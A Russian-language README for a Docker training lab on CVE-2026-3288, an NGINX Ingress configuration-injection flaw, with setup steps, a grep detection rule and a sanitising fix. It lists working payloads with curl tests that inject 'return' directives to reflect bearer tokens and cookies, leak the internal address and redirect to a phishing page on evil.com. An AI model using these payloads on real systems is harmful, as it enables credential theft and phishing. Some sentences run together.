# Docker-лаборатория для изучения уязвимости CVE-2026-3288 NGINX Ingress Лаборатория на базе Docker для отработки инъекции конфигурации NGINX Ingress (CVE-2026-3288), включающая эксплойт-скрипты, мониторинг обнаружения и рекомендации по устранению уязвимости для авторизованного обучения в области безопасности.
⚠️ ПРЕДУПРЕЖДЕНИЕ: Эта лаборатория содержит намеренно уязвимые конфигурации ТОЛЬКО ДЛЯ АВТОРИЗОВАННОГО ОБУЧЕНИЯ ПО БЕЗОПАСНОСТИ
CVE-2026-3288 (CVSS 8.8 HIGH) — инъекция конфигурации в NGINX Ingress Controller
") в конфигурацию путиФункция buildProxyPass() не очищает входные данные пути перед их интерполяцией в конфигурацию nginx, что позволяет злоумышленникам выйти за пределы строк в кавычках и внедрить произвольные директивы nginx.
CVE-2026-3288-lab/
├── README.md # Этот файл
├── docker-compose.yml # Основная настройка лаборатории
├── docker/
│ ├── nginx/
│ │ ├── Dockerfile # Настройка уязвимого NGINX
│ │ ├── nginx.conf # Базовая конфигурация
│ │ └── vulnerable-config.conf # Уязвимая обработка путей
│ └── backend/
│ ├── Dockerfile # Простое бэкенд-приложение
│ └── app.py # Приложение Flask
├── exploits/
│ ├── exploit.py # Автоматизированный скрипт эксплуатации
│ ├── payloads.txt # Коллекция эксплойт-пейлоадов
│ └── test-exploits.sh # Тестирование всех эксплойтов
├── detection/
│ └── monitor-logs.sh # Мониторинг попыток эксплуатации
└── cleanup/
└── cleanup.sh # Удаление всех ресурсов лаборатории
cd CVE-2026-3288-lab
# Запуск уязвимого окружения
docker-compose up -d
# Проверка статуса
docker-compose ps
# Проверка работы бэкенда
curl http://localhost:8080/
# Проверка работы NGINX
curl http://localhost/
cd exploits
# Автоматизированная эксплуатация
python3 exploit.py --all
# Или тестирование отдельных эксплойтов
bash test-exploits.sh
# Просмотр логов NGINX на предмет эксплуатации
docker-compose logs -f nginx
# Мониторинг обнаружения
cd detection
bash monitor-logs.sh
docker-compose down -v
Инъекция директивы return в nginx для отдачи контента, контролируемого злоумышленником.
Пейлоад:
/api" return 200 "HACKED BY ATTACKER
Тест:
curl 'http://localhost/api" return 200 "HACKED'
Отражение заголовков Authorization в ответе для кражи Bearer-токенов.
Пейлоад:
/login" return 200 "Token: $http_authorization
Тест:
curl -H "Authorization: Bearer secret123" 'http://localhost/login" return 200 "Token: $http_authorization'
Перенаправление пользователей на фишинговый сайт, контролируемый злоумышленником.
Пейлоад:
/" return 302 "https://evil.com/phishing
Тест:
curl -I 'http://localhost/" return 302 "https://evil.com/phishing'
Утечка информации о внутреннем сервере.
Пейлоад:
/" return 200 "Internal IP: $server_addr
Тест:
curl 'http://localhost/" return 200 "Internal IP: $server_addr'
Кража сессионных cookie.
Пейлоад:
/" return 200 "Cookies: $http_cookie
Тест:
curl -H "Cookie: session=abc123" 'http://localhost/" return 200 "Cookies: $http_cookie'
# Уязвимая конфигурация
location ~ "^/api" {
rewrite "(?i)/api" /backend break;
proxy_pass http://backend;
}
Когда путь содержит ", это разрывает строку в кавычках:
# Ввод злоумышленника: /api" return 200 "HACKED
# Результат:
location ~ "^/api" return 200 "HACKED" {
# Исходная конфигурация теперь нарушена
}
# Поиск подозрительных шаблонов
docker-compose logs nginx | grep -E '(return|rewrite|set).*"'
# Проверка конфигурации NGINX на внедрённые директивы
docker exec cve-2026-3288-nginx cat /etc/nginx/nginx.conf | grep -A5 "location"
" и \// До (уязвимо)
path := location.Path
config := fmt.Sprintf(`rewrite "(?i)%s" %s break;`, path, target)
// После (исправлено)
path := sanitizeQuotedRegex(location.Path)
config := fmt.Sprintf(`rewrite "(?i)%s" %s break;`, path, target)
После завершения этой лаборатории вы поймёте:
# Проверка логов
docker-compose logs
# Перезапуск
docker-compose restart
# Изменение портов в docker-compose.yml
# Или остановка конфликтующих сервисов
sudo lsof -i :80
# Проверка работы NGINX
docker-compose ps nginx
# Проверка конфигурации NGINX
docker exec cve-2026-3288-nginx nginx -t
Создано исключительно для авторизованного обучения по безопасности и исследовательских целей